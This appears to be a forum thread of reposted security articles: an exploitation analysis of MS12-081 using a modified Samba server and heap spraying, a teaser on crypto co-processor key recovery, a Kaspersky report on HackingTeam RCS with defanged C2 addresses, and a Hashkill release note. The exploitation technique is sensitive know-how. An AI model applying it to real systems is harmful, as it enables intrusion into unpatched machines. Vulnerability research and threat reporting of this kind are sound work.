BitLocker Sursa: Defrag Tools: #27 - WinDbg - Configure Kernel Debugging | Defrag Tools | Channel 9

[h=3]Surprise for Network Resources from kernel32 (MS12-081, Detailed Analysis of Vulnerability in Microsoft File Handling Component)[/h] Microsoft issued a bulletin related to a vulnerability in Microsoft File Handling Component on December 11, 2012. The vulnerability was rated critical and assigned the category Remote Code Execution. Remote code execution is carried out, when a user opens a shared network resource with specially crafted contents. This report provides exploitation details. The results are based on Windows XP SP3 x86. The vulnerability itself is contained in the functions FindFirstFileExW and FindNextFileExW of the library kernel32.dll, which copy data received from the native function NtQueryDirectoryFile with the help of memmove. The problem is that a number received from NtQueryDirectoryFile is used as the size of a source buffer for the copy function, however, it may happen that the size of a destination buffer can be smaller than the result of NtQueryDirectoryFile. This vulnerability affects all applications, which use the functions of the families FindFirstFile/FindNextFile. The first application that comes to my mind is explorer.exe. An attacker only needs to make a user open a link to the malware resource. And, if everything is going well, they will be able to execute code with the same user rights as the current user. The remote execution script according to Microsoft FAQ is possible only via UNC share or WebDAV. A UNC (Universal Naming Convention) path can indicate a file share network resource running on the basis of the SMB protocol. Linux with the Samba service, which allows creating shared fields basing on the protocol, was chosen for the test. We wanted to carry out an attack in accordance with the following scheme. Linux has a similar restriction (not a path length, but a file name length), which is 255 characters. It is only needed to modify the resources of the Samba server to send a vulnerable Windows machine a directory listing with file names, which length exceeds 255 characters. The function smbd_marshall_dir_entry from trans2.c (Samba 3.6.6), which partially forms the server task, is one of the holes for malware injection. For the first test, the name of the output files was extended over 0x100 bytes and filled with the constant 0xfeeddead. Trying to use a modified server from a vulnerable machine, you can see the following. The screenshot shows that explorer.exe tried to read DWORD by the address from the EDX register. The read value participates in creating an address for the call. It's easy to see ascending the call stack that the first two parameters of the function RecentDocs_Enum are under control, besides they are rendered further. These values can be rewritten because they are located in a stack (see the scheme below). The function CFSFolder_CreateEnum allocates memory of size 0x498 for an instance of the class CFileSysEnum; this chunk contains the structure WIN32_FIND_DATA with offset 0x224. A pointer to this structure is transferred to the vulnerable function FindFirstFileEx, which rewrites the values that allow control hijacking. It is necessary to conduct a heap-spray attack to exploit this vulnerability. File names received by CShellBrowser2 are the objects for heap spraying in this case. Therefore, it is needed to create a lot of files on a shared network resource to conduct a heap-spray attack. The figure below provides the attack scheme. Note: the DEP (Data Execution Prevention) system is not considered in this scheme; it is evident that shellcode is in the heap, which should not be executable. One of the attack problems is server response fragmentation into several SMB packets. The driver mrxsmb.sys responsible for the SMB protocol includes the function MrxSmbUnalignedDirEntryCopyTail. This function checks the length of received names transferred to the user mode. If the limit of 0x200 bytes is exceeded, the function will display the error STATUS_INVALID_NETWORK_RESPONSE (0xC00000C3), and then NtQueryDirectoryFile will stop sending names for FindNextFile. This check can be bypassed as follows. First of all, it is necessary to create a set of files, which will conduct the heap-spray attack, and then to remove all the files from the directory and create a file, the name of which is the vulnerability trigger. The Samba server, in case of changes in the file system with a connected server, will send a packet with the function NT_NOTIFY, which will make the client repeat the request FIN_FIRST2 to the server having received only one malware name. Besides, the file names received earlier will remain in memory. Moreover, it is possible to control the order of the names, because they are sorted by name. It is worth noting that the names received from the Samba server should be unique; it is provided by allocating 5 bytes from the main file name field to the unique identifier. It is also worth noting that the file name transport supports interaction via the SMB protocol in double-byte Unicode. It restricts addresses rewritten on the vulnerable client, but due to the fact that the Samba server output is modified after conversion of single-byte to double-byte characters, these restrictions are insignificant, though they complicate the modified server's running process. Sending a big data packet, the server divides it into parts, and the client having received another such data part sends the sever a name, starting with which it should proceed the transaction (see the figure below). Due to the fact that when conducting the heap-spray attack unreal data is output, then the name to continue the output will be unreal as well. That is why it is needed to render the received continue_name in a real name on the server, with which it is necessary to continue. This construction allows code execution on a vulnerable machine with probability 1/7. Finally, we should say that the vulnerability can be easily exploited "in a wild life", though for creation of a combat exploit, one will have to solve the problem with DEP and find optimizing algorithms for heap spraying (to increase the probability of success). Author: Kirill Nesterov, Positive Research. Sursa: Positive Research Center: Surprise for Network Resources from kernel32 (MS12-081, Detailed Analysis of Vulnerability in Microsoft File Handling Component)

Cred ca e ok, adica probabil se face media voturilor, iar cum in cazul acela e un singur vot, de 5, inseamna ca si media e tot 5.

[h=3]Atmel SAM7XC Crypto Co-Processor key recovery (with bonus Mifare DESFire hack)[/h]The problem with crypto is that it is processor intensive (i.e. slow), so it's common, these days, to offload these functions to a dedicated hardware co-processor which will leave the main processor free to do whatever it is that it's supposed to be doing and not faffing about with crypto. This is good in theory, as it means that cryptographic protection can be added to more or less any system without having to worry that it's going to add an unacceptable level of load to the processor. It is also theoretically more secure as the crypto keys are safely tucked away in a dedicated secure store. Much is made of this additional level of security in marketing literature. But theory is all well and good - the bitch is getting it right in practice... The following is the result of an audit performed for a client and is published with their full knowledge and consent. There are a couple of ways you can attack a crypto system: go after the algorithm itself, or go after a specific implementation. To crack the algorithm, you generally need to be a very good mathematician (and more likely a cryptographer). Crypto algorithms are thought about long and hard, and specifically designed to be impervious to this kind of attack, so, although they don't always get it right, it is certainly not going to be an easy task to find the fundamental flaw (if any exists). The other way, to go after a specific implementation, is much more likely to bear fruit and will usually be a whole lot easier, and can therefore be attempted by the likes of you and me. This is because in crypto the devil is in the detail, and as a system gets more complicated there is a lot more detail to take care of and therefore a lot more avenues of attack. One of the specific issues crypto brings with it is the problem of managing the keys. The keys are literally the keys to your kingdom, and if you lose them you lose everything, so my first question is always: what keys are we after, and where can I find them? Our target today is an access control system that uses a Mifare DESFire EV1 card as it's token. The microprocessor in the control unit is the Atmel AT91SAM7XC256, which is part of Atmel's ARM based SAM7XC series. It has a crypto co-processor, which includes a write-only memory for the keys, and the whole of the chip's memory can also be locked so that the code cannot be read out. DESFire is a proprietary standard, but if you dig deep enough you'll find everything you're looking for, so it's relatively easy to write code to interrogate these tags and figure out what's on them (libfreefare would be a good place to start). I used my own RFIDIOt library to do so (note that I will always publish code if I can, but unfortunately as the DESFire standard is not open, and some of this tool is under NDA, I cannot in this case. If / when the restriction is lifted I'll be more than happy to do so, but in the meantime please don't ask. Sorry.) Articol: [/FONT]http://oamajormal.blogspot.co.uk/2013/02/atmel-sam7xc-crypto-co-processor-key.html[FONT=Arial]

Adobe Flash Player 0-day and HackingTeam's Remote Control System Sergey Golovanov Kaspersky Lab Expert Posted February 12, 15:01 GMT Last week, Adobe released a patch for a vulnerability in Flash Player that was being exploited in targeted attacks. Before reading any further, we recommend you to take a moment make sure you apply this patch. Adobe offers this nifty tool to check that you have the latest version of Flash Player. If you are running Google Chrome, make sure you have version ‘24.0.1312.57 m’ or later. Now back to CVE-2013-0633, the critical vulnerability that was discovered and reported to Adobe by Kaspersky Lab researchers Sergey Golovanov and Alexander Polyakov. The exploits for CVE-2013-0633 have been observed while monitoring the so-called ‘legal’ surveillance malware created by the Italian company HackingTeam. In this blog, we will describe some of the attacks and the usage of this 0-day to deploy malware from ‘HackingTeam’ marketed as Remote Control System. HackingTeam and RCS We previously wrote about RCS (Remote Control System) and HackingTeam and over the past few months, we’ve closely monitored the usage of the RCS (aka as ‘DaVinci’) against human rights activists and political dissidents from Africa, South America and the Middle East. We also presented the findings of this investigation last week at Kaspersky Lab’s SAS 2013 in a presentation named “Cyber Cosa Nostra”, which details the connections between HackingTeam with the shady organization known as ‘OPM’. An article documenting the findings will be published later this month on Securelist. During our investigation, we discovered several ways through which the RCS malware was installed onto the victims’ computers: 1. Self-signed JAR 2. CVE-2012-4167: (0-day from ‘Vupen’, see NYS OCS Advisory #2012-073 (09/26/2012) - Vulnerability in Adobe Flash Player Could Allow For Remote Code Execution (APSB12-19) -. ~3 months ITW before publishing ). Used with C2: hxxps://www.maile-s.com/yarab/stagedocJord 3. CVE-2010-3333: C2 at hxxps://ar-24.com/0000000031/veryimportant.doc2 + hxxp://rcs-demo.hackingteam.it/0000000001/exploit.doc2 4. CVE-2012-5054: (0-day Vupen, see Adobe Flash Player Matrix3D Integer Overflow Code Execution ? Packet Storm. ItW for ~3 months before patching) - used with C2 at: hxxp://176.58.100.37/0000040037/scandale.doc 5. CVE-2012-1682: (0-day. Security Explorations ~2 months ITW before publishing )- hxxp://ar-66.com/installer.jar 6. CVE-2013-0633: 0-day, previously unknown Some of these infection vectors were previously described in great detail by Citizen Lab Security Researcher Morgan Marquis-Boire, in relation to RCS and also another malware known as 'SPY_NET'. Interestingly, from the list above, two of the 0-days appear to have been created by the French offensive security company Vupen. The link was also previously pointed out by Citizen Lab’s report, which says it’s unclear if the exploits used with HacktingTeam’s malware have been purchased from Vupen, or just engineered in parallel. CVE-2013-0633 We came by CVE-2013-0633 while analysing a number of targeted attacks which appeared to be deploying the malware Backdoor.Win64.Korablin.a, which is the Kaspersky detection name for HacktingTeam’s ‘DaVinci’ package for Windows (Mac versions is called “Backdoor.OSX.Morcut”). The attacks employed Word documents which used multiple stages to deliver the malware to the target system. Although we do not have the original documents used in the attacks, we’ve identified several locations from which the 2nd and 3rd stage were delivered. Here’s a list of command servers which were used as C2 to deliver the exploits, as hardcoded in the shellcode used in the second stage of the attack: hxxp://li565-84.members.linode.com/0000000097/worddocument.doc3 hxxp://li565-84.members.linode.com/0000000093/worddocument.doc3 hxxp://li565-84.members.linode.com/0000000093/word_document.doc3 hxxp://li565-84.members.linode.com/0000000098/worddocuments.doc3 (a Linode server in Japan) Previously, we’ve seen attacks using other C2s as well: 76.162.33.13/stagedocsis www.wiki-islam.info/new/stagedocbn ww.faddeha.com/palestine27/stagedocpal wiki-arab.com/index/stagedocwinword ->>>> close[CENSORED].com/7-2012/stage2 (LIVE MALWARE, censored) 192.168.100.100/0000000788/info.doc2 173.255.215.193/napoli/napoli/stage2 The malware installed by these exploits is signed with a valid certificate from various entities around the world: (Digital certificate belonging to “Kamel Abed” used to sign the ‘RCS’ malware dropper) How widespread are these attacks? Here’s a map of detections for Backdoor.Win32/64.Korablin.a: During the monitoring period, we observed about 50 incidents from countries such as Italy, Mexico, Kazakhstan, Saudi Arabia, Turkey, Argentina, Algeria, Mali, Iran, India and Ethiopia. As it usually happens with such dubious software, it’s impossible to say who uses them and for what purpose. The problem with so-called ‘legal’ spy tools is that any government can purchase them, including governments from countries with a poor human rights records. Additionally, one government can purchase these tools and use them against another country. The link between HackingTeam and Vupen During our investigation, we observed at least two 0-days which are credited to Vupen that have been used in attacks with DaVinci/RCS. We do not know if the exploits have been discovered and created in parallel by both teams or if HackingTeam is just one of Vupen’s customers. Nevertheless, it appears there is a link between the two companies in the sense that malware written by HackingTeam is commonly deployed using Vupen 0-days. The future Following the publication of Citizen Lab’s blog From Bahrain with Love: FinFisher’s Spykit Exposed, the U.K. government reaffirmed that existing controls restricting the export of cryptographic systems apply to the Gamma Group’s exports of FinSpy. Although such restrictions exist in the U.K., there is currently little or no information on the regulations in France or Italy regarding the activity of companies that create 0-days and so-called ‘legal’ malware. Even when such regulations exist, the spyware can be easily sold to anyone through umbrella companies in other countries, such as Panama. Based on existing evidence, the victims of such attacks are human rights activists in countries with poor human rights records. It is possible that tools such as FinSpy or RCS lead to the arrest and conviction of people in such countries. We believe that the 'legal spy' industry is the equivalent of a ticking time bomb which can explode at any moment. The lack of regulation, the widespread trading of such dangerous technologies to pretty much anyone who has the money and the fact that they've already been in many dubious cases raises a big question about who will be held liable when the bubble finally bursts. Kaspersky Lab products detect the RCS/DaVinci backdoors as: Backdoor.Win32.Korablin, Backdoor.Win64.Korablin, Backdoor.Multi.Korablin, Rootkit.Win32.Korablin, Rootkit.Win64.Korablin, Rootkit.OSX.Morcut and Trojan.OSX.Morcut. Sursa: Adobe Flash Player 0-day and HackingTeam's Remote Control System - Securelist

[h=1]Hashkill 0.3.1![/h]by Mayuresh on February 12, 2013 “Hashkill is an open-source password recovery tool. Its features are: Multi-threaded so that it can benefit from multi-core/multi-CPU systems SSE2-accelerated algorithms to achieve high speeds on modern x86 CPUs 4 attack modes: dictionary/bruteforce/hybrid/markov 35 plugins for different types of passwords (ranging from simple hashes like MD5 and SHA1 to passworded ZIP files and private SSL key passphrases) Supports session save/restore. Sessions are auto-saved each 3 seconds. Password cracking can resume after the last checkpoint in case the program is stopped/killed/system crashes/power down/etc. Multi-hash support (you may load hashlists of length up to 1 million) Very fast GPU support on Nvidia (compute capability 2.1 cards also supported) and ATI (4xxx, 5xxx and 6xxx). Multi-GPU support. Session save/restore, markov/hybrid/bruteforce on GPUs“ [h=2]List of changes made to Hashkill:[/h] 9 new plugins: bfunix, drupal7, django256, sha256unix, mssql-2012, o5logon, msoffice-old, msoffice, luks. Of them msoffice-old is currently supported on CPU only, the rest are GPU-accelerated Improved build scripts Added a “fastdict” rule clause which enables very fast GPU-offloaded combinator attacks. The limitation is that wordlist candidates of len<=16 can be used. Improved bitmaps handling in non-salted kernels. Now huge hashlists would be cracked at faster speeds Rules that start with “must add str ..” are no more a badass bottleneck for the GPU-offloaded rule attacks Hash type auto-detection. Yes it works (although not 100% correct – in case there are several plugins that can crack that plugin, you will be presented a list of possible options) Added average speed indicator together with the current speed one. New hotkeys while cracking: ‘t’ would display GPU temps, ‘s’ would display short stats Thermal monitoring can now be disabled using -T 0 command-line argument Bugfixes: A new test framework was introduced. This in turn helped me to fix a LOT of bugs in the plugins. This is probably the first (well sort of) _STABLE_ hashkill version. Stack overflow issues were fixed in several plugins’ CPU code Issues with progress indicator inaccuracy were fixed. Critical issue with thermal monitoring which lead to program crashes was solved Large file support for x86 Thread-safety issues in rule engine were fixed that could lead to spontaneous errors Race condition that could lead to a deadlock was fixed Several CPU plugins had bugs that allowed false negatives. Fixed. [h=3]Download Hashkill:[/h] Hashkill 0.3.1 – hashkill-0.3.1-x86_64.tar.gz/hashkill-0.3.1-x86.tar.gz/0.3.1.zip Sursa: Hashkill version 0.3.1! — PenTestIT